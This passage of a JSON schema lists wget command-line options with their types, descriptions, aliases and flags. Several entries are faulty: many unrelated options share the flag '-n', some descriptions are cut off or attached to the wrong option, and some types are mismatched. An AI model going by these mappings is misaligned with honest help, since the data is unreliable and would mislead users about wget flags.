      {
        "name": "background",
        "template_key": "background",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "go to background after startup",
        "aliases": [
          "-b",
          "--background"
        ],
        "flag": "-b"
      },
      {
        "name": "backup-converted",
        "template_key": "backup-converted",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "before converting file X, back up as X.orig",
        "aliases": [
          "-K",
          "--backup-converted"
        ],
        "flag": "-K"
      },
      {
        "name": "backups",
        "template_key": "backups",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "before writing file X, rotate up to N backup files",
        "aliases": [
          "--backups"
        ],
        "flag": "--backups"
      },
      {
        "name": "base",
        "template_key": "base",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "resolves HTML input-file links (-i -F)",
        "aliases": [
          "-B",
          "--base"
        ],
        "flag": "-B"
      },
      {
        "name": "bind-address",
        "template_key": "bind-address",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "bind to ADDRESS (hostname or IP) on local host",
        "aliases": [
          "--bind-address"
        ],
        "flag": "--bind-address"
      },
      {
        "name": "body-data",
        "template_key": "body-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "send STRING as data. --method MUST be set",
        "aliases": [
          "--body-data"
        ],
        "flag": "--body-data"
      },
      {
        "name": "body-file",
        "template_key": "body-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "send contents of FILE. --method MUST be set",
        "aliases": [
          "--body-file"
        ],
        "flag": "--body-file"
      },
      {
        "name": "ca-certificate",
        "template_key": "ca-certificate",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "file with the bundle of CAs",
        "aliases": [
          "--ca-certificate"
        ],
        "flag": "--ca-certificate"
      },
      {
        "name": "ca-directory",
        "template_key": "ca-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "directory where hash list of CAs is stored",
        "aliases": [
          "--ca-directory"
        ],
        "flag": "--ca-directory"
      },
      {
        "name": "certificate",
        "template_key": "certificate",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "client certificate file",
        "aliases": [
          "--certificate"
        ],
        "flag": "--certificate"
      },
      {
        "name": "certificate-type",
        "template_key": "certificate-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "client certificate type, PEM or DER",
        "aliases": [
          "--certificate-type"
        ],
        "flag": "--certificate-type"
      },
      {
        "name": "ciphers",
        "template_key": "ciphers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the priority string (GnuTLS) or cipher list string (OpenSSL) directly",
        "aliases": [
          "--ciphers"
        ],
        "flag": "--ciphers"
      },
      {
        "name": "compression",
        "template_key": "compression",
        "type": "string",
        "required": false,
        "default_value": "none",
        "description": "choose compression, one of auto, gzip and none",
        "aliases": [
          "--compression"
        ],
        "flag": "--compression"
      },
      {
        "name": "config",
        "template_key": "config",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "specify config file to use",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "connect-timeout",
        "template_key": "connect-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the connect timeout to SECS",
        "aliases": [
          "--connect-timeout"
        ],
        "flag": "--connect-timeout"
      },
      {
        "name": "content-disposition",
        "template_key": "content-disposition",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "honor the Content-Disposition header when",
        "aliases": [
          "--content-disposition"
        ],
        "flag": "--content-disposition"
      },
      {
        "name": "content-on-error",
        "template_key": "content-on-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output the received content on server errors",
        "aliases": [
          "--content-on-error"
        ],
        "flag": "--content-on-error"
      },
      {
        "name": "continue",
        "template_key": "continue",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "resume getting a partially-downloaded file",
        "aliases": [
          "-c",
          "--continue"
        ],
        "flag": "-c"
      },
      {
        "name": "convert-file-only",
        "template_key": "convert-file-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "convert the file part of the URLs only (usually known as the basename)",
        "aliases": [
          "--convert-file-only"
        ],
        "flag": "--convert-file-only"
      },
      {
        "name": "convert-links",
        "template_key": "convert-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make links in downloaded HTML or CSS point to",
        "aliases": [
          "-k",
          "--convert-links"
        ],
        "flag": "-k"
      },
      {
        "name": "crl-file",
        "template_key": "crl-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "file with bundle of CRLs",
        "aliases": [
          "--crl-file"
        ],
        "flag": "--crl-file"
      },
      {
        "name": "cut-dirs",
        "template_key": "cut-dirs",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "ignore NUMBER remote directory components",
        "aliases": [
          "--cut-dirs"
        ],
        "flag": "--cut-dirs"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print lots of debugging information",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "default-page",
        "template_key": "default-page",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "change the default page name (normally",
        "aliases": [
          "--default-page"
        ],
        "flag": "--default-page"
      },
      {
        "name": "delete-after",
        "template_key": "delete-after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete files locally after downloading them",
        "aliases": [
          "--delete-after"
        ],
        "flag": "--delete-after"
      },
      {
        "name": "directory-prefix",
        "template_key": "directory-prefix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save files to PREFIX/",
        "aliases": [
          "-P",
          "--directory-prefix"
        ],
        "flag": "-P"
      },
      {
        "name": "dns-timeout",
        "template_key": "dns-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the DNS lookup timeout to SECS",
        "aliases": [
          "--dns-timeout"
        ],
        "flag": "--dns-timeout"
      },
      {
        "name": "domains",
        "template_key": "domains",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of accepted domains",
        "aliases": [
          "-D",
          "--domains"
        ],
        "flag": "-D"
      },
      {
        "name": "exclude-directories",
        "template_key": "exclude-directories",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-X",
          "--exclude-directories"
        ],
        "flag": "-X"
      },
      {
        "name": "exclude-domains",
        "template_key": "exclude-domains",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of rejected domains",
        "aliases": [
          "--exclude-domains"
        ],
        "flag": "--exclude-domains"
      },
      {
        "name": "execute",
        "template_key": "execute",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "execute a `.wgetrc'-style command",
        "aliases": [
          "-e",
          "--execute"
        ],
        "flag": "-e"
      },
      {
        "name": "follow-ftp",
        "template_key": "follow-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow FTP links from HTML documents",
        "aliases": [
          "--follow-ftp"
        ],
        "flag": "--follow-ftp"
      },
      {
        "name": "follow-tags",
        "template_key": "follow-tags",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of followed HTML tags",
        "aliases": [
          "--follow-tags"
        ],
        "flag": "--follow-tags"
      },
      {
        "name": "force-directories",
        "template_key": "force-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force creation of directories",
        "aliases": [
          "-x",
          "--force-directories"
        ],
        "flag": "-x"
      },
      {
        "name": "force-html",
        "template_key": "force-html",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "treat input file as HTML",
        "aliases": [
          "-F",
          "--force-html"
        ],
        "flag": "-F"
      },
      {
        "name": "ftp-password",
        "template_key": "ftp-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set ftp password to PASS",
        "aliases": [
          "--ftp-password"
        ],
        "flag": "--ftp-password"
      },
      {
        "name": "ftp-user",
        "template_key": "ftp-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set ftp user to USER",
        "aliases": [
          "--ftp-user"
        ],
        "flag": "--ftp-user"
      },
      {
        "name": "ftps-clear-data-connection",
        "template_key": "ftps-clear-data-connection",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "cipher the control channel only; all the data will be in plaintext",
        "aliases": [
          "--ftps-clear-data-connection"
        ],
        "flag": "--ftps-clear-data-connection"
      },
      {
        "name": "ftps-fallback-to-ftp",
        "template_key": "ftps-fallback-to-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fall back to FTP if FTPS is not supported in the target server",
        "aliases": [
          "--ftps-fallback-to-ftp"
        ],
        "flag": "--ftps-fallback-to-ftp"
      },
      {
        "name": "ftps-implicit",
        "template_key": "ftps-implicit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use implicit FTPS (default port is 990)",
        "aliases": [
          "--ftps-implicit"
        ],
        "flag": "--ftps-implicit"
      },
      {
        "name": "ftps-resume-ssl",
        "template_key": "ftps-resume-ssl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "resume the SSL/TLS session started in the control connection when",
        "aliases": [
          "--ftps-resume-ssl"
        ],
        "flag": "--ftps-resume-ssl"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "insert STRING among the headers",
        "aliases": [
          "--header"
        ],
        "flag": "--header"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "hsts-file",
        "template_key": "hsts-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "path of HSTS database (will override default)",
        "aliases": [
          "--hsts-file"
        ],
        "flag": "--hsts-file"
      },
      {
        "name": "http-password",
        "template_key": "http-password",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set http password to PASS",
        "aliases": [
          "--http-password"
        ],
        "flag": "--http-password"
      },
      {
        "name": "http-user",
        "template_key": "http-user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set http user to USER",
        "aliases": [
          "--http-user"
        ],
        "flag": "--http-user"
      },
      {
        "name": "https-only",
        "template_key": "https-only",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "only follow secure HTTPS links",
        "aliases": [
          "--https-only"
        ],
        "flag": "--https-only"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case when matching files/directories",
        "aliases": [
          "--ignore-case"
        ],
        "flag": "--ignore-case"
      },
      {
        "name": "ignore-length",
        "template_key": "ignore-length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore 'Content-Length' header field",
        "aliases": [
          "--ignore-length"
        ],
        "flag": "--ignore-length"
      },
      {
        "name": "ignore-tags",
        "template_key": "ignore-tags",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of ignored HTML tags",
        "aliases": [
          "--ignore-tags"
        ],
        "flag": "--ignore-tags"
      },
      {
        "name": "include-directories",
        "template_key": "include-directories",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--trust-server-names use the name specified by the redirection URL's last component",
        "aliases": [
          "-I",
          "--include-directories"
        ],
        "flag": "-I"
      },
      {
        "name": "inet4-only",
        "template_key": "inet4-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect only to IPv4 addresses",
        "aliases": [
          "-4",
          "--inet4-only"
        ],
        "flag": "-4"
      },
      {
        "name": "inet6-only",
        "template_key": "inet6-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect only to IPv6 addresses",
        "aliases": [
          "-6",
          "--inet6-only"
        ],
        "flag": "-6"
      },
      {
        "name": "input-file",
        "template_key": "input-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "download URLs found in local or external FILE",
        "aliases": [
          "-i",
          "--input-file"
        ],
        "flag": "-i"
      },
      {
        "name": "keep-session-cookies",
        "template_key": "keep-session-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "load and save session (non-permanent) cookies",
        "aliases": [
          "--keep-session-cookies"
        ],
        "flag": "--keep-session-cookies"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "maximum recursion depth (inf or 0 for infinite)",
        "aliases": [
          "-l",
          "--level"
        ],
        "flag": "-l"
      },
      {
        "name": "limit-rate",
        "template_key": "limit-rate",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "limit download rate to RATE",
        "aliases": [
          "--limit-rate"
        ],
        "flag": "--limit-rate"
      },
      {
        "name": "load-cookies",
        "template_key": "load-cookies",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "load cookies from FILE before session",
        "aliases": [
          "--load-cookies"
        ],
        "flag": "--load-cookies"
      },
      {
        "name": "local-encoding",
        "template_key": "local-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use ENC as the local encoding for IRIs",
        "aliases": [
          "--local-encoding"
        ],
        "flag": "--local-encoding"
      },
      {
        "name": "max-redirect",
        "template_key": "max-redirect",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "maximum redirections allowed per page",
        "aliases": [
          "--max-redirect"
        ],
        "flag": "--max-redirect"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "use method \"HTTPMethod\" in the request",
        "aliases": [
          "--method"
        ],
        "flag": "--method"
      },
      {
        "name": "mirror",
        "template_key": "mirror",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "shortcut for -N -r -l inf --no-remove-listing",
        "aliases": [
          "-m",
          "--mirror"
        ],
        "flag": "-m"
      },
      {
        "name": "nH",
        "type": "boolean",
        "required": false,
        "description": "don't create host directories",
        "aliases": [
          "-nH",
          "--no-host-directories"
        ],
        "flag": "-nH"
      },
      {
        "name": "nc",
        "type": "boolean",
        "required": false,
        "description": "skip downloads that would download to",
        "aliases": [
          "-nc",
          "--no-clobber"
        ],
        "flag": "-nc"
      },
      {
        "name": "nd",
        "type": "boolean",
        "required": false,
        "description": "don't create directories",
        "aliases": [
          "-nd",
          "--no-directories"
        ],
        "flag": "-nd"
      },
      {
        "name": "no-cache",
        "template_key": "no-cache",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disallow server-cached data",
        "aliases": [
          "--no-cache"
        ],
        "flag": "--no-cache"
      },
      {
        "name": "no-check-certificate",
        "template_key": "no-check-certificate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't validate the server's certificate",
        "aliases": [
          "--no-check-certificate"
        ],
        "flag": "--no-check-certificate"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip downloads that would download to",
        "aliases": [
          "-n",
          "--no-clobber"
        ],
        "flag": "-n"
      },
      {
        "name": "no-config",
        "template_key": "no-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not read any config file",
        "aliases": [
          "--no-config"
        ],
        "flag": "--no-config"
      },
      {
        "name": "no-cookies",
        "template_key": "no-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't use cookies",
        "aliases": [
          "--no-cookies"
        ],
        "flag": "--no-cookies"
      },
      {
        "name": "no-directories",
        "template_key": "no-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't create directories",
        "aliases": [
          "-n",
          "--no-directories"
        ],
        "flag": "-n"
      },
      {
        "name": "no-dns-cache",
        "template_key": "no-dns-cache",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable caching DNS lookups",
        "aliases": [
          "--no-dns-cache"
        ],
        "flag": "--no-dns-cache"
      },
      {
        "name": "no-glob",
        "template_key": "no-glob",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off FTP file name globbing",
        "aliases": [
          "--no-glob"
        ],
        "flag": "--no-glob"
      },
      {
        "name": "no-host-directories",
        "template_key": "no-host-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't create host directories",
        "aliases": [
          "-n",
          "--no-host-directories"
        ],
        "flag": "-n"
      },
      {
        "name": "no-hsts",
        "template_key": "no-hsts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable HSTS",
        "aliases": [
          "--no-hsts"
        ],
        "flag": "--no-hsts"
      },
      {
        "name": "no-http-keep-alive",
        "template_key": "no-http-keep-alive",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "disable HTTP keep-alive (persistent connections)",
        "aliases": [
          "--no-http-keep-alive"
        ],
        "flag": "--no-http-keep-alive"
      },
      {
        "name": "no-if-modified-since",
        "template_key": "no-if-modified-since",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't use conditional if-modified-since get",
        "aliases": [
          "--no-if-modified-since"
        ],
        "flag": "--no-if-modified-since"
      },
      {
        "name": "no-iri",
        "template_key": "no-iri",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off IRI support",
        "aliases": [
          "--no-iri"
        ],
        "flag": "--no-iri"
      },
      {
        "name": "no-netrc",
        "template_key": "no-netrc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't try to obtain credentials from .netrc",
        "aliases": [
          "--no-netrc"
        ],
        "flag": "--no-netrc"
      },
      {
        "name": "no-parent",
        "template_key": "no-parent",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "don't ascend to the parent directory",
        "aliases": [
          "-n",
          "--no-parent"
        ],
        "flag": "-n"
      },
      {
        "name": "no-passive-ftp",
        "template_key": "no-passive-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable the \"passive\" transfer mode",
        "aliases": [
          "--no-passive-ftp"
        ],
        "flag": "--no-passive-ftp"
      },
      {
        "name": "no-proxy",
        "template_key": "no-proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explicitly turn off proxy",
        "aliases": [
          "--no-proxy"
        ],
        "flag": "--no-proxy"
      },
      {
        "name": "no-remove-listing",
        "template_key": "no-remove-listing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't remove '.listing' files",
        "aliases": [
          "--no-remove-listing"
        ],
        "flag": "--no-remove-listing"
      },
      {
        "name": "no-use-server-timestamps",
        "template_key": "no-use-server-timestamps",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "the one on the server",
        "aliases": [
          "--no-use-server-timestamps"
        ],
        "flag": "--no-use-server-timestamps"
      },
      {
        "name": "no-verbose",
        "template_key": "no-verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off verboseness, without being quiet",
        "aliases": [
          "-n",
          "--no-verbose"
        ],
        "flag": "-n"
      },
      {
        "name": "no-warc-compression",
        "template_key": "no-warc-compression",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not compress WARC files with GZIP",
        "aliases": [
          "--no-warc-compression"
        ],
        "flag": "--no-warc-compression"
      },
      {
        "name": "no-warc-digests",
        "template_key": "no-warc-digests",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not calculate SHA1 digests",
        "aliases": [
          "--no-warc-digests"
        ],
        "flag": "--no-warc-digests"
      },
      {
        "name": "no-warc-keep-log",
        "template_key": "no-warc-keep-log",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not store the log file in a WARC record",
        "aliases": [
          "--no-warc-keep-log"
        ],
        "flag": "--no-warc-keep-log"
      },
      {
        "name": "np",
        "type": "boolean",
        "required": false,
        "description": "don't ascend to the parent directory",
        "aliases": [
          "-np",
          "--no-parent"
        ],
        "flag": "-np"
      },
      {
        "name": "nv",
        "type": "boolean",
        "required": false,
        "description": "turn off verboseness, without being quiet",
        "aliases": [
          "-nv",
          "--no-verbose"
        ],
        "flag": "-nv"
      },
      {
        "name": "output-document",
        "template_key": "output-document",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "write documents to FILE",
        "aliases": [
          "-O",
          "--output-document"
        ],
        "flag": "-O"
      },
      {
        "name": "output-file",
        "template_key": "output-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "log messages to FILE",
        "aliases": [
          "-o",
          "--output-file"
        ],
        "flag": "-o"
      },
      {
        "name": "page-requisites",
        "template_key": "page-requisites",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "get all images, etc. needed to display HTML page",
        "aliases": [
          "-p",
          "--page-requisites"
        ],
        "flag": "-p"
      },
      {
        "name": "password",
        "template_key": "password",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set both ftp and http password to PASS",
        "aliases": [
          "--password"
        ],
        "flag": "--password"
      },
      {
        "name": "pinnedpubkey",
        "template_key": "pinnedpubkey",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "of base64 encoded sha256 hashes preceded by 'sha256//' and separated by ';', to verify peer against",
        "aliases": [
          "--pinnedpubkey"
        ],
        "flag": "--pinnedpubkey"
      },
      {
        "name": "post-data",
        "template_key": "post-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the POST method; send STRING as the data",
        "aliases": [
          "--post-data"
        ],
        "flag": "--post-data"
      },
      {
        "name": "post-file",
        "template_key": "post-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use the POST method; send contents of FILE",
        "aliases": [
          "--post-file"
        ],
        "flag": "--post-file"
      },
      {
        "name": "prefer-family",
        "template_key": "prefer-family",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect first to addresses of specified family",
        "aliases": [
          "--prefer-family"
        ],
        "flag": "--prefer-family"
      },
      {
        "name": "preserve-permissions",
        "template_key": "preserve-permissions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve remote file permissions",
        "aliases": [
          "--preserve-permissions"
        ],
        "flag": "--preserve-permissions"
      },
      {
        "name": "private-key",
        "template_key": "private-key",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "private key file",
        "aliases": [
          "--private-key"
        ],
        "flag": "--private-key"
      },
      {
        "name": "private-key-type",
        "template_key": "private-key-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "private key type, PEM or DER",
        "aliases": [
          "--private-key-type"
        ],
        "flag": "--private-key-type"
      },
      {
        "name": "progress",
        "template_key": "progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "select progress gauge type",
        "aliases": [
          "--progress"
        ],
        "flag": "--progress"
      },
      {
        "name": "protocol-directories",
        "template_key": "protocol-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use protocol name in directories",
        "aliases": [
          "--protocol-directories"
        ],
        "flag": "--protocol-directories"
      },
      {
        "name": "proxy-password",
        "template_key": "proxy-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set PASS as proxy password",
        "aliases": [
          "--proxy-password"
        ],
        "flag": "--proxy-password"
      },
      {
        "name": "proxy-user",
        "template_key": "proxy-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set USER as proxy username",
        "aliases": [
          "--proxy-user"
        ],
        "flag": "--proxy-user"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "quiet (no output)",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "quota",
        "template_key": "quota",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set retrieval quota to NUMBER",
        "aliases": [
          "-Q",
          "--quota"
        ],
        "flag": "-Q"
      },
      {
        "name": "random-wait",
        "template_key": "random-wait",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wait from 0.5*WAIT...1.5*WAIT secs between retrievals",
        "aliases": [
          "--random-wait"
        ],
        "flag": "--random-wait"
      },
      {
        "name": "read-timeout",
        "template_key": "read-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the read timeout to SECS",
        "aliases": [
          "--read-timeout"
        ],
        "flag": "--read-timeout"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify recursive download",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "referer",
        "template_key": "referer",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "include 'Referer: URL' header in HTTP request",
        "aliases": [
          "--referer"
        ],
        "flag": "--referer"
      },
      {
        "name": "regex-type",
        "template_key": "regex-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex type (posix|pcre)",
        "aliases": [
          "--regex-type"
        ],
        "enum": [
          "posix",
          "pcre"
        ],
        "flag": "--regex-type"
      },
      {
        "name": "reject",
        "template_key": "reject",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of rejected extensions",
        "aliases": [
          "-R",
          "--reject"
        ],
        "flag": "-R"
      },
      {
        "name": "reject-regex",
        "template_key": "reject-regex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex matching rejected URLs",
        "aliases": [
          "--reject-regex"
        ],
        "flag": "--reject-regex"
      },
      {
        "name": "rejected-log",
        "template_key": "rejected-log",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "log reasons for URL rejection to FILE",
        "aliases": [
          "--rejected-log"
        ],
        "flag": "--rejected-log"
      },
      {
        "name": "relative",
        "template_key": "relative",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow relative links only",
        "aliases": [
          "-L",
          "--relative"
        ],
        "flag": "-L"
      },
      {
        "name": "remote-encoding",
        "template_key": "remote-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use ENC as the default remote encoding",
        "aliases": [
          "--remote-encoding"
        ],
        "flag": "--remote-encoding"
      },
      {
        "name": "report-speed",
        "template_key": "report-speed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output bandwidth as TYPE. TYPE can be bits",
        "aliases": [
          "--report-speed"
        ],
        "flag": "--report-speed"
      },
      {
        "name": "restrict-file-names",
        "template_key": "restrict-file-names",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "restrict chars in file names to ones OS allows",
        "aliases": [
          "--restrict-file-names"
        ],
        "flag": "--restrict-file-names"
      },
      {
        "name": "retr-symlinks",
        "template_key": "retr-symlinks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "when recursing, get linked-to files (not dir)",
        "aliases": [
          "--retr-symlinks"
        ],
        "flag": "--retr-symlinks"
      },
      {
        "name": "retry-connrefused",
        "template_key": "retry-connrefused",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "retry even if connection is refused",
        "aliases": [
          "--retry-connrefused"
        ],
        "flag": "--retry-connrefused"
      },
      {
        "name": "retry-on-host-error",
        "template_key": "retry-on-host-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "consider host errors as non-fatal, transient errors",
        "aliases": [
          "--retry-on-host-error"
        ],
        "flag": "--retry-on-host-error"
      },
      {
        "name": "retry-on-http-error",
        "template_key": "retry-on-http-error",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of HTTP errors to retry",
        "aliases": [
          "--retry-on-http-error"
        ],
        "flag": "--retry-on-http-error"
      },
      {
        "name": "save-cookies",
        "template_key": "save-cookies",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "save cookies to FILE after session",
        "aliases": [
          "--save-cookies"
        ],
        "flag": "--save-cookies"
      },
      {
        "name": "save-headers",
        "template_key": "save-headers",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "save the HTTP headers to file",
        "aliases": [
          "--save-headers"
        ],
        "flag": "--save-headers"
      },
      {
        "name": "secure-protocol",
        "template_key": "secure-protocol",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "choose secure protocol, one of auto, SSLv2",
        "aliases": [
          "--secure-protocol"
        ],
        "flag": "--secure-protocol"
      },
      {
        "name": "server-response",
        "template_key": "server-response",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print server response",
        "aliases": [
          "-S",
          "--server-response"
        ],
        "flag": "-S"
      },
      {
        "name": "show-progress",
        "template_key": "show-progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display the progress bar in any verbosity mode",
        "aliases": [
          "--show-progress"
        ],
        "flag": "--show-progress"
      },
      {
        "name": "span-hosts",
        "template_key": "span-hosts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "go to foreign hosts when recursive",
        "aliases": [
          "-H",
          "--span-hosts"
        ],
        "flag": "-H"
      },
      {
        "name": "spider",
        "template_key": "spider",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't download anything",
        "aliases": [
          "--spider"
        ],
        "flag": "--spider"
      },
      {
        "name": "start-pos",
        "template_key": "start-pos",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "start downloading from zero-based position OFFSET",
        "aliases": [
          "--start-pos"
        ],
        "flag": "--start-pos"
      },
      {
        "name": "strict-comments",
        "template_key": "strict-comments",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn on strict (SGML) handling of HTML comments",
        "aliases": [
          "--strict-comments"
        ],
        "flag": "--strict-comments"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set all timeout values to SECONDS",
        "aliases": [
          "-T",
          "--timeout"
        ],
        "flag": "-T"
      },
      {
        "name": "timestamping",
        "template_key": "timestamping",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't re-retrieve files unless newer than",
        "aliases": [
          "-N",
          "--timestamping"
        ],
        "flag": "-N"
      },
      {
        "name": "tries",
        "template_key": "tries",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set number of retries to NUMBER (0 unlimits)",
        "aliases": [
          "-t",
          "--tries"
        ],
        "flag": "-t"
      },
      {
        "name": "trust_server_names",
        "type": "boolean",
        "required": false,
        "description": "use the name specified by the redirection",
        "aliases": [
          "--trust-server-names"
        ],
        "flag": "--trust-server-names"
      },
      {
        "name": "unlink",
        "template_key": "unlink",
        "type": "string",
        "required": false,
        "default_value": null,
